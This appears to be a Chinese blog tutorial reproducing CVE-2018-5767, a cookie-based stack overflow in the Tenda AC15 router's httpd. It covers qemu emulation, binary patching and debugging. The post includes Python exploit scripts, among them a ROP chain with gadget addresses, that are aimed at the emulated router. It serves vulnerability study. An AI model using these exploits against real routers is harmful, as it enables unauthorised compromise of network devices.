首页 > 其他分享 >CVE-2018-5767 tenda固件栈溢出漏洞

CVE-2018-5767 tenda固件栈溢出漏洞

时间:2024-07-25 13:40:04浏览次数:7  
标签:tenda r3 URL sudo br0 cookie 2018 5767 requests

路由器固件型号:

Tenda AC15 15.03.1.16_multi

固件下载地址:

https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1

binwalk分离

binwalk -Me US-bin

漏洞点:

在squashfs-root/bin/httpd
可以通过

readelf -h httpd

来查看文件的信息(架构)
image.png

环境配置

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .

运行指令

sudo  qemu-arm-static ../bin/httpd

运行的时候在lib文件夹里运行,否则会缺库,但我还是报错了www
image.png

解决方法

用ida打开,搜索WeLoveLinux
image.png
image.png
师傅们说的是这里构成了死循环要把CMP R3,#0给patch掉,就可以了
image.png
image.png
假如patch的时候遇见
image.png
可以不用管,也不要叉就行(我是这样做的)
image.png

然后保存即可
image.png
运行发现还是出错
image.png
再用ida看一下,发现第二个判断发现也赋值了0;

image.png
patch成1即可

网关配置

运行时
image.png
ip并不是本机ip,这是因为我们没有设置虚拟网关br0

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.65.1/24

然后重新运行即可
image.png

漏洞分析

根据CVE公布的poc可知,漏洞点在R7WebsSecurityHandler函数

IDA

image.png
这里未对用户的输入是否合理进行检测,导致存在栈溢出。
我们要利用这个栈溢出需要满足image.png
访问的路径不在上述存在,构造一个虚构地址即可,例/goform/blonet
尝试输入垃圾数据,测试漏洞。

sudo  qemu-arm-static -g 1234 ../bin/httpd
gdb-multiarch ./httpd
target remote :1234
b *0x002ED18 #断点下在漏洞函数结束处即可
continue
python3 exp.py

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

image.png
发现程序没有运行到断点处,bt查看一下,发现0x0002c5cc处的函数被溢出执行了。
image.png
应该是被这影响了。
那就修改一下exp,再试试

import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)

image.png
可以发现成功溢出了。
因为qemu的不会开启未开启基址随机化的特性,可以通过vmmap查看libc基地址。
image.png
这里不知道为什么我这没有libc,不懂。www
通过ropgadget查找gadget

0x00040cb8  mov r0, sp; blx r3;
0x00018298  pop {r3, pc};

利用exp

    import requests
    from pwn import *
    
    base = 0xf65e5000
    libc = ELF('./lib/libc.so.0')
    
    puts = base+libc.sym['puts']
    _str = "Hello\x00"
    mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
    pop_r3 = base+0x00018298 # pop {r3, pc};
    URL = "http://192.168.7.44:80/goform/hello"
    pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
    cookie = {"Cookie":"password="+pl}
    requests.get(url=URL, cookies=cookie)

别用python3(会把心态搞崩的)
image.png

标签:tenda,r3,URL,sudo,br0,cookie,2018,5767,requests
From: https://www.cnblogs.com/blonet/p/18322823

相关文章

  • ccfcsp 201803.2 碰撞的小球 100分代码
    本题是一道小模拟规模小难度在碰撞检测在写模拟题时的思路应该是先找到应该储存的信息是哪些,抽象出来,应该模拟的方法是哪些。类似oop。includeusingnamespacestd;constintL=1000;structball{intp;chard=1;//只可能为1或-1,表示方向}b[L+1];intmain(){int......
  • 28449-2018 测评过程指南小结
    28449测评过程指南适用于测评机构、定级对象的主管部门及运营使用单位对定级对象安全等级保护状况开展安全测试评价等级测评工作要求:(附录C)1依据标准,遵循原则2恰当选取,保证强度3规范行为,规避风险存在的风险:(标准P1和课本108)1.影响系统正常运行2.泄露敏感信息3.......
  • [CEOI2018] Lottery 题解
    前言题目链接:洛谷。题意简述给出序列\(a_1\ldotsa_n\)和常数\(l\leqn\),定义:\[\operatorname{dis}(i,j)=\sum_{k=0}^{l-1}[a_{i+k}\neqa_{j+k}]\qquad(i,j\in[1,n-l+1])\]每次询问一个\(k\),求对于所有\(i\in[1,n-l+1]\),求\(\sum......
  • 交叉编译ethtool(ubuntu 2018)
    参考文章:https://www.cnblogs.com/nazhen/p/16800427.htmlhttps://blog.csdn.net/weixin_43128044/article/details/1379539131、下载相关安装包//ethtool依赖libmulgitclonehttp://git.netfilter.org/libmnl//ethtool源码gitclonehttp://git.kernel.org/pub/sc......
  • P4588 [TJOI2018] 数学计算
    原题链接题解由于模拟会爆longlong,所以用线段树维护每次操作的值,初始每次操作的值均为1操作一令对应节点变为m操作二令对应节点变为1返回整棵树的值(相乘)code#include<bits/stdc++.h>#definelllonglongusingnamespacestd;lltree[400005];llq,mod;voidup......
  • [WesternCTF2018]shrine(Jinja2模板注入)
    首先判断出是Jinja2模板注入判断方法https://www.cnblogs.com/dghh/p/18307622importflaskimportos#创建一个Flask应用实例app=flask.Flask(__name__)#从环境变量中读取'FLAG'并设置到应用配置中app.config['FLAG']=os.environ.pop('FLAG')#定义根路径('/......
  • [蓝桥杯 2018 省 B] 递增三元组(两种解法)
    [蓝桥杯2018省B]递增三元组题目描述给定三个整数数组A=[A1......
  • [N1CTF 2018]eating_cms 1
    信息收集,文件上传,rce,代码审计打开之后是一个登录页面,同时他的url是login,呢么第一反应应该是看看有没有register.php发现是有的,..但是admin是注册不了的,呢么我们先随机注册一个尝试看看能不能更改权限,登陆上之后发现是没有session的也就是目前没办法切换admin账号,但是url可......
  • eclipse免安装版64位 2018版本
    前言Eclipse是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse附带了一个标准的插件集,包括Java开发工具(JavaDevelopmentKit,JDK)。虽然大多数用户很乐于将Eclipse当作Java集成开发......
  • 打卡信奥刷题(332)用Scratch图形化工具信奥B3739[普及组/提高] [信息与未来 2018] 整数
    [信息与未来2018]整数乘方题目描述定义aaa的nnn次幂......